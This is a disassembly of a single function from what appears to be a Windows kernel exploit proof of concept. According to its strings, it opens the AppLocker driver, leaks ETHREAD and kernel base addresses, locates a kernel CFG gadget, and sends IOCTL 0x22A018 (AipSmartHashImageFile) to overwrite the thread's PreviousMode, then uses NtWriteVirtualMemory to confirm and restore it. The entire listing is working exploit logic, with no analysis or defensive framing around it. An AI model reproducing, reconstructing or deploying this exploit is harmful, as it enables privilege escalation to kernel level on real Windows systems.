Function at 0x140007bf0
Capabilities:
Load ntoskrnl

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x5b0
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rsp + 0x5a0], rax
lea rax, [rsp + 0x480]
mov rdi, rax
xor eax, eax
mov ecx, 0x11c
rep stosb byte [rdi], al
mov qword [rsp + 0x468], 0
lea r8, [rsp + 0x480]
lea rdx, [rsp + 0x468]
mov rcx, qword [rsp + 0x5c0]
call fcn.140009240
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140007cb9
lea rdx, str.Failed_to_allocate_the_correct_buffer_to_send_on_the_IOCTL_request.
lea rcx, [rsp + 0x1f8]
call fcn.140002b80
nop
lea rdx, [0x14000bfe8]
lea rcx, [rsp + 0x128]
call fcn.140002be0
lea r9, [rsp + 0x1f8]
lea r8, [rsp + 0x128]
mov edx, 0xc
lea rcx, [0x14000f170]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x1f8]
call fcn.140003340
nop
xor al, al
jmp 0x140008714
lea rax, [rsp + 0x438]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rax, [rsp + 0x428]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rdx, str.DeviceAppID
lea rcx, [rsp + 0x428]
call fcn.140009400
nop
mov dword [rsp + 0x438], 0x30
mov qword [rsp + 0x440], 0
mov dword [rsp + 0x450], 0x40
lea rax, [rsp + 0x428]
mov qword [rsp + 0x448], rax
mov qword [rsp + 0x458], 0
mov qword [rsp + 0x460], 0
lea rax, [rsp + 0x470]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rsp + 0x418], 0
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x470]
lea r8, [rsp + 0x438]
mov edx, 0xc0000000
lea rcx, [rsp + 0x418]
call qword [sym.imp.ntdll.dll_NtCreateFile]
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0
jge 0x140007e3d
lea rdx, str.Failed_to_open_a_handle_to_the_AppLocker_driver___ls___code:_0x_X_
lea rcx, [rsp + 0x218]
call fcn.140002b80
nop
lea rdx, [0x14000c068]
lea rcx, [rsp + 0x148]
call fcn.140002be0
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x218]
lea r8, [rsp + 0x148]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.140007580
nop
lea rcx, [rsp + 0x218]
call fcn.140003340
nop
xor al, al
jmp 0x140008714
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0xe0], rax
lea rdx, str.AppLocker__AppId__handle_opened:_0x_p
lea rcx, [rsp + 0x238]
call fcn.140002b80
nop
lea rdx, [0x14000c0a0]
lea rcx, [rsp + 0x158]
call fcn.140002be0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x238]
lea r8, [rsp + 0x158]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.140006f30
nop
lea rcx, [rsp + 0x238]
call fcn.140003340
nop
lea rdx, str.Leaking_the_current_ETHREAD_address.
lea rcx, [rsp + 0x258]
call fcn.140002b80
nop
lea rdx, [0x14000c0d8]
lea rcx, [rsp + 0x168]
call fcn.140002be0
lea r9, [rsp + 0x258]
lea r8, [rsp + 0x168]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x258]
call fcn.140003340
nop
mov rcx, qword [rsp + 0x5c0]
call fcn.140008950
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0x5c0]
call fcn.140008c40
mov qword [rsp + 0x88], rax
lea rdx, str.ntoskrnl.exe
mov rcx, qword [rsp + 0x5c0]
call fcn.140008ea0
mov qword [rsp + 0xb0], rax
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xa8], 0
jne 0x140007ffc
cmp qword [rsp + 0xb0], 0
jne 0x140007ffc
cmp qword [rsp + 0xb8], 0
jne 0x140007ffc
cmp qword [rsp + 0x88], 0
jne 0x140007ffc
lea rdx, str.Failed_to_fetch_the_ETHREAD_FileObject_KernelBase_addresses.
lea rcx, [rsp + 0x278]
call fcn.140002b80
nop
lea rdx, [0x14000c188]
lea rcx, [rsp + 0x178]
call fcn.140002be0
lea r9, [rsp + 0x278]
lea r8, [rsp + 0x178]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x278]
call fcn.140003340
nop
xor al, al
jmp 0x140008714
lea rdx, str.ETHREAD_address_leaked:_0x_p
lea rcx, [rsp + 0x298]
call fcn.140002b80
nop
lea rdx, [0x14000c1b8]
lea rcx, [rsp + 0x188]
call fcn.140002be0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x298]
lea r8, [rsp + 0x188]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400078c0
nop
lea rcx, [rsp + 0x298]
call fcn.140003340
nop
lea rdx, str.Feching_the_ExpProfileDelete__user_cfg_gadget__address.
lea rcx, [rsp + 0x2b8]
call fcn.140002b80
nop
lea rdx, [0x14000c200]
lea rcx, [rsp + 0x198]
call fcn.140002be0
lea r9, [rsp + 0x2b8]
lea r8, [rsp + 0x198]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x2b8]
call fcn.140003340
nop
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x5c0]
call fcn.140008730
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x468]
mov rcx, qword [rsp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
lea rdx, str.Current_ETHREAD_PreviousMode_address____0x_p
lea rcx, [rsp + 0x2d8]
call fcn.140002b80
nop
lea rdx, [0x14000c240]
lea rcx, [rsp + 0x1a8]
call fcn.140002be0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2d8]
lea r8, [rsp + 0x1a8]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400078c0
nop
lea rcx, [rsp + 0x2d8]
call fcn.140003340
nop
lea rdx, str.File_object_address____0x_p
lea rcx, [rsp + 0x2f8]
call fcn.140002b80
nop
lea rdx, [0x14000c270]
lea rcx, [rsp + 0x1b8]
call fcn.140002be0
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2f8]
lea r8, [rsp + 0x1b8]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400078c0
nop
lea rcx, [rsp + 0x2f8]
call fcn.140003340
nop
lea rdx, str.kCFG_Kernel_Base_address____0x_p
lea rcx, [rsp + 0x318]
call fcn.140002b80
nop
lea rdx, [0x14000c2a8]
lea rcx, [rsp + 0x1c8]
call fcn.140002be0
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x318]
lea r8, [rsp + 0x1c8]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400078c0
nop
lea rcx, [rsp + 0x318]
call fcn.140003340
nop
lea rdx, str.kCFG_User_Base_address____0x_p
lea rcx, [rsp + 0x338]
call fcn.140002b80
nop
lea rdx, [0x14000c2d8]
lea rcx, [rsp + 0x1d8]
call fcn.140002be0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x338]
lea r8, [rsp + 0x1d8]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.140006c20
nop
lea rcx, [rsp + 0x338]
call fcn.140003340
nop
lea rdx, str.kCFG_Gadget_address____0x_p
lea rcx, [rsp + 0x358]
call fcn.140002b80
nop
lea rdx, [0x14000c308]
lea rcx, [rsp + 0x1e8]
call fcn.140002be0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x358]
lea r8, [rsp + 0x1e8]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400078c0
nop
lea rcx, [rsp + 0x358]
call fcn.140003340
nop
mov qword [rsp + 0x98], 0
lea rax, [rsp + 0x420]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
cmp dword [rsp + 0x48c], 0x55f0
jae 0x1400083bc
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x80]
add rax, 0x30
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xd0]
mov qword [rax], rcx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x88]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0xa0]
lea rcx, [rsp + 0x420]
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x98], 0x18
jmp 0x140008444
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x80]
add rax, 0x30
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xd8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0x420]
mov qword [rax + 0x10], rcx
mov rax, qword [rsp + 0x90]
mov qword [rax + 0x18], 0
mov qword [rsp + 0x98], 0x20
lea rdx, str.Sending_IOCTL_request_to_0x22A018__AipSmartHashImageFile_
lea rcx, [rsp + 0x378]
call fcn.140002b80
nop
lea rdx, [0x14000c358]
lea rcx, [rsp + 0xe8]
call fcn.140002be0
lea r9, [rsp + 0x378]
lea r8, [rsp + 0xe8]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x378]
call fcn.140003340
nop
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x68], 0
je 0x1400085f3
lea rdx, str.ioctl_buffer____0x_p_size:__d
lea rcx, [rsp + 0x398]
call fcn.140002b80
nop
lea rdx, [0x14000c388]
lea rcx, [rsp + 0xf8]
call fcn.140002be0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x398]
lea r8, [rsp + 0xf8]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.140007240
nop
lea rcx, [rsp + 0x398]
call fcn.140003340
nop
mov r9, qword [rsp + 0x98]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x418]
mov rcx, qword [rsp + 0x5c0]
call fcn.140009180
movzx eax, al
test eax, eax
jne 0x140008559
xor al, al
jmp 0x140008714
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
nop
mov rax, qword [rsp + 0x70]
movzx eax, byte [rax]
mov byte [rsp + 0x60], al
lea rdx, [0x14000c398]
lea rcx, [rsp + 0x3b8]
call fcn.140002b80
nop
lea rdx, [0x14000c3b8]
lea rcx, [rsp + 0x108]
call fcn.140002be0
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x20], al
lea r9, [rsp + 0x3b8]
lea r8, [rsp + 0x108]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.140005f80
nop
lea rcx, [rsp + 0x3b8]
call fcn.140003340
nop
lea rdx, str.Restoring...
lea rcx, [rsp + 0x3d8]
call fcn.140002b80
nop
lea rdx, [0x14000c3d8]
lea rcx, [rsp + 0x118]
call fcn.140002be0
lea r9, [rsp + 0x3d8]
lea r8, [rsp + 0x118]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.1400021a0
nop
lea rcx, [rsp + 0x3d8]
call fcn.140003340
nop
mov rax, qword [rsp + 0x70]
mov byte [rax], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x80]
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
nop
mov rax, qword [rsp + 0x70]
movzx eax, byte [rax]
mov byte [rsp + 0x61], al
lea rdx, str.Current_PreviousMode_____d
lea rcx, [rsp + 0x3f8]
call fcn.140002b80
nop
lea rdx, str.c_poc::act
lea rcx, [rsp + 0x138]
call fcn.140002be0
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x20], al
lea r9, [rsp + 0x3f8]
lea r8, [rsp + 0x138]
mov edx, 9
lea rcx, [0x14000f170]
call fcn.140005f80
nop
lea rcx, [rsp + 0x3f8]
call fcn.140003340
nop
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x418]
call qword [sym.imp.ntdll.dll_NtClose]
mov al, 1
mov rcx, qword [rsp + 0x5a0]
xor rcx, rsp
call fcn.140009940
add rsp, 0x5b0
pop rdi
ret